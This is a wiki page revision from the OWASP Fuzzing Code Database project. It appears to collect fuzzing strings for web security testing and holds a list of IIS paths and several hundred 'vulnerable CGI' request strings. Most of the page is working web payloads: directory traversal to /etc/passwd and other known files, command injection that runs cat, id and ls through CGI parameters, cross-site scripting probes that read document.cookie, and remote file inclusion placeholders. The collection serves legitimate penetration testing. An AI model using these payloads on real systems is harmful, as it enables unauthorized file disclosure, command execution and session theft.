| links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80113 2010-03-18T10:10:20Z

<p>Adam.muntner: /* PHP-Specific Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Microsoft URLs (18 March 2010) ===<br /> &lt;pre&gt;# Interesting IIS Files &amp; Directories (17 March, 2009)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> # Look at the result codes in the headers - 403 likely mean the dir exists, 404 means not. It takes an ISAPI filter for IIS to return 404's for 403s. <br /> # Altetrnatively, slight differences in the number of bytes returned will help differentiate.<br /> <br /> .printer<br /> /%NETHOOD%/<br /> /&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> /Exadmin/<br /> /ExchWeb/<br /> /Exchange/<br /> /Microsoft-Server-ActiveSync/<br /> /OMA/<br /> /OWA/<br /> /Public/<br /> /_layouts/alllibs.htm<br /> /_layouts/settings.htm<br /> /_layouts/userinfo.htm<br /> /_vti_bin/<br /> /_vti_bin/_vti_aut/fp30reg.dll<br /> /_vti_pvt/<br /> /_WEB_INF/<br /> /a%5c.aspx<br /> /adovbs.inc<br /> /aspnet_files/<br /> /certcontrol/<br /> /certenroll/<br /> /certsrv/<br /> /exchange/root.asp<br /> /forum.asp<br /> /forum_arc.asp<br /> /forum_professionnel.asp<br /> /iisadmin/<br /> /iishelp/<br /> /iishelp/iis/misc/default.asp<br /> /iissamples/<br /> /imprimer.asp<br /> /includes/adovbs.inc<br /> /msadc/<br /> /null.htw<br /> /pbserver/pbserver.dll<br /> /postinfo.html<br /> /rubrique.asp<br /> /scripts/<br /> /share/<br /> /tsweb/<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.asp<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> index.shtml<br /> x.htw<br /> x.ida<br /> x.idq<br /> &lt;/pre&gt;<br /> <br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # 